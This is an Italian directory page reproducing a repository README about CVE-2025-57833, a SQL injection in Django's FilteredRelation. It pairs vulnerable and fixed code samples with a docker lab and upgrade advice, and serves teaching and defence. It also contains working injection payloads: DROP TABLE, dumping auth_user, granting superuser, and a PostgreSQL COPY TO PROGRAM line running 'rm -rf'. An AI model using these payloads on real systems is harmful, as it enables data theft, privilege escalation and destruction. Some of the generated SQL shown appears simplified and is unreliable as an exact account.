Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-57833 — Abbiamo allestito un ambiente per testare CVE-2025-57833. Questo ambiente è stato creato utilizzando l'AI, quindi è soggetto a modifiche continue. | Kitploit
Strumenti/GitHubGitHub/mkway/cve-2025-57833
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubmkway/cve-2025-57833

CVE-2025-57833

Abbiamo allestito un ambiente per testare CVE-2025-57833. Questo ambiente è stato creato utilizzando l'AI, quindi è soggetto a modifiche continue.

Vedi Repository
2121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-57833: Vulnerabilità di SQL Injection in Django

Questo repository dimostra e spiega la CVE-2025-57833, una vulnerabilità critica di SQL injection nell'ORM di Django che interessa le versioni 4.2 precedenti alla 4.2.24, 5.1 precedenti alla 5.1.12 e 5.2 precedenti alla 5.2.6.

🚨 Panoramica della Vulnerabilità

Punteggio CVSS: 9.8 (Critico)
Impatto: SQL Injection che porta all'esecuzione remota di codice (RCE)
Autenticazione richiesta: Nessuna (attacco non autenticato)


📚 Comprendere il Contesto

Cos'è Django ORM?

Django ORM (Object-Relational Mapping) consente agli sviluppatori di interagire con i database usando codice Python invece di SQL grezzo. Per esempio:

root@kitploit:~
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

Cos'è FilteredRelation?

FilteredRelation è una funzionalità di Django che consente di unire tabelle con condizioni di filtraggio aggiuntive:

root@kitploit:~
# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

Cosa sono i nomi di campo dinamici?

A volte gli sviluppatori hanno bisogno di creare nomi di campo dinamicamente in base all'input dell'utente:

root@kitploit:~
# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 La vulnerabilità spiegata

Come si verifica la vulnerabilità

La vulnerabilità si verifica quando input utente non sanificato viene utilizzato come chiave di dizionario in annotate() o alias() con FilteredRelation. Ecco il processo passo dopo passo:

Passo 1: Pattern di codice vulnerabile

root@kitploit:~
# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

Passo 2: Input dannoso

Un attaccante invia un input dannoso:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

Passo 3: Generazione SQL

Django genera SQL simile a questo:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Passo 4: Esecuzione della SQL Injection

L'SQL dannoso viene eseguito, con il potenziale di:

  • Eliminare tabelle
  • Estrarre dati sensibili
  • Eseguire comandi arbitrari (RCE)

🔍 Scenario di attacco nel mondo reale

Pattern vulnerabile comune

Molte applicazioni Django hanno una funzionalità di ricerca in cui gli utenti possono scegliere su quale campo cercare:

root@kitploit:~
# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Vettore d'attacco

root@kitploit:~
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Codice sicuro vs vulnerabile

❌ Codice vulnerabile

root@kitploit:~
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ Codice sicuro - Approccio con whitelist

root@kitploit:~
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ Codice sicuro - Nomi di campo statici

root@kitploit:~
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Escalation dell'impatto: dalla SQL Injection alla RCE

1. Divulgazione di informazioni

root@kitploit:~
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. Manipolazione del database

root@kitploit:~
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Esecuzione remota di codice (PostgreSQL)

root@kitploit:~
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Strategie di mitigazione

1. Validazione dell'input (consigliata)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Evitare nomi di campo dinamici

root@kitploit:~
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Aggiornare Django

Aggiorna all'ultima versione di Django:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 Testare questa vulnerabilità

Questo repository include un ambiente di test completo:

root@kitploit:~
# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

Per istruzioni dettagliate sui test, vedere document/README.md.


📖 Riferimenti

  • Advisory di sicurezza Django: Rilasci di sicurezza Django emessi: 5.2.6, 5.1.12 e 4.2.24
  • Analisi tecnica: RCE e SQL Injection non autenticate 0-click in Django di Eyal Gabay
  • Dettagli CVE: CVE-2025-57833 SQL Injection in Django

⚠️ Disclaimer

Questo repository è solo a scopo educativo e di sicurezza difensiva. Non utilizzare queste informazioni per attaccare sistemi che non possiedi o di cui non hai il permesso di testare.

Scarica lo strumento